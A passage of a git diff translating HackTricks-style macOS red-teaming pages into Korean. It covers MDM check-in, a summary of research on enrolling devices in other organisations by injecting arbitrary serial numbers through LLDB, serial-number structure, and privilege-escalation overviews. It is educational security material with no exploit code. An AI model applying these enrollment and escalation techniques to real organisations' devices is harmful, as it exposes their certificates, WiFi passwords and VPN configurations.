**`ServerURLPinningCertificateUUIDs`** - - Delivered via PEM payload -- Allows device to be attributed with an identity certificate: - - Property: IdentityCertificateUUID - - Delivered via SCEP payload +- `com.apple.mdm`: 장치를 MDM에 **등록**하기 위해. +- `com.apple.security.scep`: 장치에 **클라이언트 인증서**를 안전하게 제공하기 위해. +- `com.apple.security.pem`: 장치의 시스템 키체인에 **신뢰할 수 있는 CA 인증서**를 설치하기 위해. +- MDM 페이로드 설치는 문서에서 **MDM 체크인**에 해당합니다. +- 페이로드는 **주요 속성**을 포함합니다: +- - MDM 체크인 URL (**`CheckInURL`**) +- MDM 명령 폴링 URL (**`ServerURL`**) + 이를 트리거하기 위한 APNs 주제 +- MDM 페이로드를 설치하기 위해 **`CheckInURL`**로 요청이 전송됩니다. +- **`mdmclient`**에서 구현됩니다. +- MDM 페이로드는 다른 페이로드에 의존할 수 있습니다. +- 특정 인증서에 요청을 핀 고정할 수 있습니다: +- 속성: **`CheckInURLPinningCertificateUUIDs`** +- 속성: **`ServerURLPinningCertificateUUIDs`** +- PEM 페이로드를 통해 전달됩니다. +- 장치에 신원 인증서를 부여할 수 있습니다: +- 속성: IdentityCertificateUUID +- SCEP 페이로드를 통해 전달됩니다. -### **Step 7: Listening for MDM commands** +### **단계 7: MDM 명령 수신 대기** -- After MDM check-in is complete, vendor can **issue push notifications using APNs** -- Upon receipt, handled by **`mdmclient`** -- To poll for MDM commands, request is sent to ServerURL -- Makes use of previously installed MDM payload: - - **`ServerURLPinningCertificateUUIDs`** for pinning request - - **`IdentityCertificateUUID`** for TLS client certificate +- MDM 체크인이 완료된 후, 공급업체는 **APNs를 사용하여 푸시 알림을 발행할 수 있습니다**. +- 수신 시, **`mdmclient`**에 의해 처리됩니다. +- MDM 명령을 폴링하기 위해 요청이 ServerURL로 전송됩니다. +- 이전에 설치된 MDM 페이로드를 사용합니다: +- **`ServerURLPinningCertificateUUIDs`** 요청 핀 고정용 +- **`IdentityCertificateUUID`** TLS 클라이언트 인증서용 -## Attacks +## 공격 -### Enrolling Devices in Other Organisations +### 다른 조직에 장치 등록하기 -As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected: +앞서 언급했듯이, 장치를 조직에 등록하려면 **해당 조직에 속하는 일련 번호만 필요합니다**. 장치가 등록되면 여러 조직이 새 장치에 민감한 데이터를 설치합니다: 인증서, 애플리케이션, WiFi 비밀번호, VPN 구성 [등등](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +따라서 등록 프로세스가 올바르게 보호되지 않으면 공격자에게 위험한 진입점이 될 수 있습니다: {{#ref}} enrolling-devices-in-other-organisations.md diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index 19851b925..6ace88292 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -1,53 +1,53 @@ -# Enrolling Devices in Other Organisations +# 다른 조직에 장치 등록하기 {{#include ../../../banners/hacktricks-training.md}} -## Intro +## 소개 -As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected. +[**이전에 언급된 바와 같이**](./#what-is-mdm-mobile-device-management)**,** 장치를 조직에 등록하기 위해 **해당 조직에 속하는 일련 번호만 필요합니다**. 장치가 등록되면 여러 조직이 새로운 장치에 민감한 데이터를 설치합니다: 인증서, 애플리케이션, WiFi 비밀번호, VPN 구성 [등등](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +따라서 등록 프로세스가 올바르게 보호되지 않으면 공격자에게 위험한 진입점이 될 수 있습니다. -**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!** +**다음은 연구의 요약입니다 [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). 추가 기술 세부정보를 확인하세요!** -## Overview of DEP and MDM Binary Analysis +## DEP 및 MDM 이진 분석 개요 -This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include: +이 연구는 macOS의 장치 등록 프로그램(DEP) 및 모바일 장치 관리(MDM)와 관련된 이진 파일을 다룹니다. 주요 구성 요소는 다음과 같습니다: -- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4. -- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later. -- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles. +- **`mdmclient`**: MDM 서버와 통신하고 macOS 10.13.4 이전 버전에서 DEP 체크인을 트리거합니다. +- **`profiles`**: 구성 프로필을 관리하고 macOS 10.13.4 및 이후 버전에서 DEP 체크인을 트리거합니다. +- **`cloudconfigurationd`**: DEP API 통신을 관리하고 장치 등록 프로필을 검색합니다. -DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC. +DEP 체크인은 개인 구성 프로필 프레임워크의 `CPFetchActivationRecord` 및 `CPGetActivationRecord` 기능을 사용하여 활성화 레코드를 가져오며, `CPFetchActivationRecord`는 XPC를 통해 `cloudconfigurationd`와 조정됩니다. -## Tesla Protocol and Absinthe Scheme Reverse Engineering +## 테슬라 프로토콜 및 앱신트 스킴 리버스 엔지니어링 -The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request. +DEP 체크인은 `cloudconfigurationd`가 암호화되고 서명된 JSON 페이로드를 _iprofiles.apple.com/macProfile_로 전송하는 것을 포함합니다. 페이로드에는 장치의 일련 번호와 "RequestProfileConfiguration" 작업이 포함됩니다. 사용된 암호화 스킴은 내부적으로 "Absinthe"라고 불립니다. 이 스킴을 풀어내는 것은 복잡하며 여러 단계를 포함하여 활성화 레코드 요청에 임의의 일련 번호를 삽입하는 대체 방법을 탐색하게 되었습니다. -## Proxying DEP Requests +## DEP 요청 프록시 -Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key. +Charles Proxy와 같은 도구를 사용하여 _iprofiles.apple.com_에 대한 DEP 요청을 가로채고 수정하려는 시도는 페이로드 암호화 및 SSL/TLS 보안 조치로 인해 방해받았습니다. 그러나 `MCCloudConfigAcceptAnyHTTPSCertificate` 구성을 활성화하면 서버 인증서 검증을 우회할 수 있지만, 페이로드의 암호화된 특성은 여전히 복호화 키 없이 일련 번호 수정을 방지합니다. -## Instrumenting System Binaries Interacting with DEP +## DEP와 상호작용하는 시스템 이진 파일 계측 -Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing. +`cloudconfigurationd`와 같은 시스템 이진 파일을 계측하려면 macOS에서 시스템 무결성 보호(SIP)를 비활성화해야 합니다. SIP가 비활성화되면 LLDB와 같은 도구를 사용하여 시스템 프로세스에 연결하고 DEP API 상호작용에 사용되는 일련 번호를 수정할 수 있습니다. 이 방법은 권한 및 코드 서명의 복잡성을 피할 수 있어 선호됩니다. -**Exploiting Binary Instrumentation:** -Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved: +**이진 계측 활용:** +`cloudconfigurationd`에서 JSON 직렬화 전에 DEP 요청 페이로드를 수정하는 것이 효과적임을 입증했습니다. 이 과정은 다음을 포함했습니다: -1. Attaching LLDB to `cloudconfigurationd`. -2. Locating the point where the system serial number is fetched. -3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent. +1. `cloudconfigurationd`에 LLDB 연결. +2. 시스템 일련 번호가 검색되는 지점 찾기. +3. 페이로드가 암호화되고 전송되기 전에 메모리에 임의의 일련 번호 주입. -This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability. +이 방법은 임의의 일련 번호에 대한 전체 DEP 프로필을 검색할 수 있게 하여 잠재적인 취약점을 보여주었습니다. -### Automating Instrumentation with Python +### Python을 통한 계측 자동화 -The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles. +이용 과정은 LLDB API를 사용하여 Python으로 자동화되어 임의의 일련 번호를 프로그래밍 방식으로 주입하고 해당 DEP 프로필을 검색할 수 있게 되었습니다. -### Potential Impacts of DEP and MDM Vulnerabilities +### DEP 및 MDM 취약점의 잠재적 영향 -The research highlighted significant security concerns: +연구는 중요한 보안 문제를 강조했습니다: -1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved. +1. **정보 유출**: DEP에 등록된 일련 번호를 제공함으로써 DEP 프로필에 포함된 민감한 조직 정보를 검색할 수 있습니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md index 4b373d774..8fafd6cb3 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md @@ -1,40 +1,40 @@ -# macOS Serial Number +# macOS 일련 번호 {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information: +2010년 이후의 Apple 기기는 **12자리 알파벳 숫자**로 구성된 일련 번호를 가지고 있으며, 각 세그먼트는 특정 정보를 전달합니다: -- **First 3 Characters**: Indicate the **manufacturing location**. -- **Characters 4 & 5**: Denote the **year and week of manufacture**. -- **Characters 6 to 8**: Serve as a **unique identifier** for each device. -- **Last 4 Characters**: Specify the **model number**. +- **첫 3자리**: **제조 위치**를 나타냅니다. +- **4번째 및 5번째 문자**: **제조 연도 및 주**를 나타냅니다. +- **6번째에서 8번째 문자**: 각 기기에 대한 **고유 식별자** 역할을 합니다. +- **마지막 4자리**: **모델 번호**를 지정합니다. -For instance, the serial number **C02L13ECF8J2** follows this structure. +예를 들어, 일련 번호 **C02L13ECF8J2**는 이 구조를 따릅니다. -### **Manufacturing Locations (First 3 Characters)** +### **제조 위치 (첫 3자리)** -Certain codes represent specific factories: +특정 코드는 특정 공장을 나타냅니다: -- **FC, F, XA/XB/QP/G8**: Various locations in the USA. -- **RN**: Mexico. -- **CK**: Cork, Ireland. -- **VM**: Foxconn, Czech Republic. -- **SG/E**: Singapore. -- **MB**: Malaysia. -- **PT/CY**: Korea. -- **EE/QT/UV**: Taiwan. -- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China. -- **C0, C3, C7**: Specific cities in China. -- **RM**: Refurbished devices. +- **FC, F, XA/XB/QP/G8**: 미국의 다양한 위치. +- **RN**: 멕시코. +- **CK**: 아일랜드 코크. +- **VM**: 체코 공화국 폭스콘. +- **SG/E**: 싱가포르. +- **MB**: 말레이시아. +- **PT/CY**: 한국. +- **EE/QT/UV**: 대만. +- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: 중국의 다양한 위치. +- **C0, C3, C7**: 중국의 특정 도시. +- **RM**: 리퍼비시된 기기. -### **Year of Manufacturing (4th Character)** +### **제조 연도 (4번째 문자)** -This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods. +이 문자는 'C' (2010년 상반기)를 나타내는 것부터 'Z' (2019년 하반기)까지 다양하며, 서로 다른 문자는 서로 다른 반년 기간을 나타냅니다. -### **Week of Manufacturing (5th Character)** +### **제조 주 (5번째 문자)** -Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number. +숫자 1-9는 주 1-9에 해당합니다. 문자 C-Y (모음과 'S' 제외)는 주 10-27을 나타냅니다. 연도의 하반기에는 이 숫자에 26이 추가됩니다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 7fa9d3ae9..9aa49ecaf 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -1,33 +1,18 @@ -# macOS Security & Privilege Escalation +# macOS 보안 및 권한 상승 {{#include ../../banners/hacktricks-training.md}} -
+## 기본 MacOS -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! +macOS에 익숙하지 않다면, macOS의 기본을 배우기 시작해야 합니다: -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - -## Basic MacOS - -If you are not familiar with macOS, you should start learning the basics of macOS: - -- Special macOS **files & permissions:** +- 특별한 macOS **파일 및 권한:** {{#ref}} macos-files-folders-and-binaries/ {{#endref}} -- Common macOS **users** +- 일반적인 macOS **사용자** {{#ref}} macos-users.md @@ -39,112 +24,97 @@ macos-users.md macos-applefs.md {{#endref}} -- The **architecture** of the k**ernel** +- k**ernel**의 **구조** {{#ref}} mac-os-architecture/ {{#endref}} -- Common macOS n**etwork services & protocols** +- 일반적인 macOS n**etwork 서비스 및 프로토콜** {{#ref}} macos-protocols.md {{#endref}} -- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) - - To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) +- **오픈소스** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) +- `tar.gz`를 다운로드하려면 [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/)와 같은 URL을 [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)로 변경하세요. ### MacOS MDM -In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**: +기업에서는 **macOS** 시스템이 **MDM으로 관리될 가능성이 높습니다**. 따라서 공격자의 관점에서 **그것이 어떻게 작동하는지** 아는 것이 흥미롭습니다: {{#ref}} ../macos-red-teaming/macos-mdm/ {{#endref}} -### MacOS - Inspecting, Debugging and Fuzzing +### MacOS - 검사, 디버깅 및 퍼징 {{#ref}} macos-apps-inspecting-debugging-and-fuzzing/ {{#endref}} -## MacOS Security Protections +## MacOS 보안 보호 {{#ref}} macos-security-protections/ {{#endref}} -## Attack Surface +## 공격 표면 -### File Permissions +### 파일 권한 -If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\ -This could occur in the following situations: +**루트로 실행되는 프로세스가** 사용자가 제어할 수 있는 파일에 쓰면, 사용자는 이를 악용하여 **권한을 상승시킬 수 있습니다**.\ +이는 다음과 같은 상황에서 발생할 수 있습니다: -- File used was already created by a user (owned by the user) -- File used is writable by the user because of a group -- File used is inside a directory owned by the user (the user could create the file) -- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file) +- 사용자가 이미 생성한 파일(사용자 소유) +- 사용자가 그룹 때문에 쓸 수 있는 파일 +- 사용자가 파일을 생성할 수 있는 사용자 소유의 디렉토리 내의 파일 +- 루트 소유의 디렉토리 내의 파일이지만 사용자가 그룹 때문에 쓰기 권한이 있는 경우(사용자가 파일을 생성할 수 있음) -Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place. +**루트에 의해 사용될** 파일을 **생성할 수 있는** 것은 사용자가 **그 내용**을 **이용하거나 심지어 다른 위치를 가리키는 **심볼릭 링크/하드 링크**를 생성할 수 있게 합니다. -For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**: +이러한 종류의 취약점에 대해서는 **취약한 `.pkg` 설치 프로그램을 확인하는 것을 잊지 마세요**: {{#ref}} macos-files-folders-and-binaries/macos-installers-abuse.md {{#endref}} -### File Extension & URL scheme app handlers +### 파일 확장자 및 URL 스킴 앱 핸들러 -Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols +파일 확장자로 등록된 이상한 앱은 악용될 수 있으며, 특정 프로토콜을 열기 위해 다양한 애플리케이션이 등록될 수 있습니다. {{#ref}} macos-file-extension-apps.md {{#endref}} -## macOS TCC / SIP Privilege Escalation +## macOS TCC / SIP 권한 상승 -In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others. +macOS에서 **애플리케이션과 바이너리는** 폴더나 설정에 접근할 수 있는 권한을 가질 수 있으며, 이는 다른 것들보다 더 특권을 부여합니다. -Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs). +따라서 macOS 기계를 성공적으로 침해하고자 하는 공격자는 **TCC 권한을 상승시켜야** 합니다(또는 필요에 따라 **SIP를 우회해야** 합니다). -These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**. +이러한 권한은 일반적으로 애플리케이션이 서명된 **권한**의 형태로 제공되거나, 애플리케이션이 일부 접근을 요청하고 **사용자가 이를 승인한 후** **TCC 데이터베이스**에서 찾을 수 있습니다. 프로세스가 이러한 권한을 얻는 또 다른 방법은 **그러한 권한을 가진 프로세스의 자식**이 되는 것입니다. 이 권한은 일반적으로 **상속**됩니다. -Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses). +다음 링크를 따라 [**TCC에서 권한 상승하는 다양한 방법**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC 우회하기**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) 및 과거에 [**SIP가 우회된 방법**](macos-security-protections/macos-sip.md#sip-bypasses)을 확인하세요. -## macOS Traditional Privilege Escalation +## macOS 전통적인 권한 상승 -Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints: +물론 레드 팀의 관점에서 루트로 상승하는 것에도 관심이 있어야 합니다. 다음 게시물을 확인하여 몇 가지 힌트를 얻으세요: {{#ref}} macos-privilege-escalation.md {{#endref}} -## macOS Compliance +## macOS 준수 - [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security) -## References +## 참고 문헌 -- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) +- [**OS X 사고 대응: 스크립팅 및 분석**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) - [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet) - [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ) - [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY) -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 306efd482..7b1885043 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -1,69 +1,69 @@ -# macOS Kernel & System Extensions +# macOS 커널 및 시스템 확장 {{#include ../../../banners/hacktricks-training.md}} -## XNU Kernel +## XNU 커널 -The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**. +**macOS의 핵심은 XNU**로, "X는 유닉스가 아니다"를 의미합니다. 이 커널은 기본적으로 **Mach 마이크로커널**(후에 논의될 예정)과 **버클리 소프트웨어 배포(BSD)**의 요소로 구성되어 있습니다. XNU는 **I/O Kit이라는 시스템을 통해 커널 드라이버를 위한 플랫폼을 제공합니다**. XNU 커널은 다윈 오픈 소스 프로젝트의 일부로, **소스 코드는 자유롭게 접근할 수 있습니다**. -From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages. +보안 연구자나 유닉스 개발자의 관점에서 **macOS**는 **우아한 GUI와 다양한 맞춤형 애플리케이션을 갖춘 FreeBSD 시스템과 매우 유사하게 느껴질 수 있습니다**. BSD용으로 개발된 대부분의 애플리케이션은 수정 없이 macOS에서 컴파일되고 실행될 수 있으며, 유닉스 사용자에게 친숙한 명령줄 도구가 모두 macOS에 존재합니다. 그러나 XNU 커널이 Mach을 통합하고 있기 때문에 전통적인 유닉스 유사 시스템과 macOS 간에는 몇 가지 중요한 차이점이 있으며, 이러한 차이점은 잠재적인 문제를 일으키거나 독특한 이점을 제공할 수 있습니다. -Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) +XNU의 오픈 소스 버전: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) ### Mach -Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**. +Mach는 **UNIX 호환**을 위해 설계된 **마이크로커널**입니다. 그 주요 설계 원칙 중 하나는 **커널** 공간에서 실행되는 **코드**의 양을 **최소화**하고 대신 파일 시스템, 네트워킹 및 I/O와 같은 많은 전형적인 커널 기능이 **사용자 수준 작업으로 실행되도록 허용하는 것이었습니다**. -In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management. +XNU에서 Mach는 커널이 일반적으로 처리하는 많은 중요한 저수준 작업, 즉 프로세서 스케줄링, 멀티태스킹 및 가상 메모리 관리 등을 **책임집니다**. ### BSD -The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including: +XNU **커널**은 또한 **FreeBSD** 프로젝트에서 파생된 상당량의 코드를 **포함합니다**. 이 코드는 **Mach와 함께 커널의 일부로 실행되며**, 동일한 주소 공간에서 작동합니다. 그러나 XNU 내의 FreeBSD 코드는 Mach과의 호환성을 보장하기 위해 수정이 필요했기 때문에 원래 FreeBSD 코드와 상당히 다를 수 있습니다. FreeBSD는 다음을 포함한 많은 커널 작업에 기여합니다: -- Process management -- Signal handling -- Basic security mechanisms, including user and group management -- System call infrastructure -- TCP/IP stack and sockets -- Firewall and packet filtering +- 프로세스 관리 +- 신호 처리 +- 사용자 및 그룹 관리 등 기본 보안 메커니즘 +- 시스템 호출 인프라 +- TCP/IP 스택 및 소켓 +- 방화벽 및 패킷 필터링 -Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure. +BSD와 Mach 간의 상호작용을 이해하는 것은 그들의 서로 다른 개념적 프레임워크 때문에 복잡할 수 있습니다. 예를 들어, BSD는 프로세스를 기본 실행 단위로 사용하지만, Mach은 스레드를 기반으로 작동합니다. 이 불일치는 XNU에서 **각 BSD 프로세스를 하나의 Mach 스레드를 포함하는 Mach 작업과 연결하여 조정됩니다**. BSD의 fork() 시스템 호출이 사용될 때, 커널 내의 BSD 코드는 Mach 함수를 사용하여 작업 및 스레드 구조를 생성합니다. -Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel. +게다가, **Mach과 BSD는 각각 다른 보안 모델을 유지합니다**: **Mach의** 보안 모델은 **포트 권한**에 기반하고, BSD의 보안 모델은 **프로세스 소유권**에 기반합니다. 이 두 모델 간의 차이로 인해 때때로 로컬 권한 상승 취약점이 발생했습니다. 일반적인 시스템 호출 외에도 **사용자 공간 프로그램이 커널과 상호작용할 수 있도록 하는 Mach 트랩**도 있습니다. 이러한 다양한 요소들이 함께 macOS 커널의 다면적이고 하이브리드 아키텍처를 형성합니다. -### I/O Kit - Drivers +### I/O Kit - 드라이버 -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. +I/O Kit은 XNU 커널 내의 오픈 소스 객체 지향 **장치 드라이버 프레임워크**로, **동적으로 로드된 장치 드라이버**를 처리합니다. 이는 다양한 하드웨어를 지원하며 커널에 모듈식 코드를 즉시 추가할 수 있게 해줍니다. {{#ref}} macos-iokit.md {{#endref}} -### IPC - Inter Process Communication +### IPC - 프로세스 간 통신 {{#ref}} ../macos-proces-abuse/macos-ipc-inter-process-communication/ {{#endref}} -## macOS Kernel Extensions +## macOS 커널 확장 -macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found). +macOS는 **커널 확장**(.kext)을 로드하는 데 매우 제한적입니다. 이는 코드가 높은 권한으로 실행되기 때문입니다. 실제로 기본적으로 우회 방법이 발견되지 않는 한 사실상 불가능합니다. -In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**: +다음 페이지에서는 macOS가 **kernelcache** 내에서 로드하는 `.kext`를 복구하는 방법도 볼 수 있습니다: {{#ref}} macos-kernel-extensions.md {{#endref}} -### macOS System Extensions +### macOS 시스템 확장 -Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions. +커널 확장을 사용하는 대신 macOS는 시스템 확장을 생성하여 커널과 상호작용할 수 있는 사용자 수준 API를 제공합니다. 이렇게 하면 개발자는 커널 확장을 사용할 필요가 없습니다. {{#ref}} macos-system-extensions.md {{#endref}} -## References +## 참고 문헌 - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index 424ed20b7..98e50b94f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -4,52 +4,47 @@ ## Function Interposing -Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** 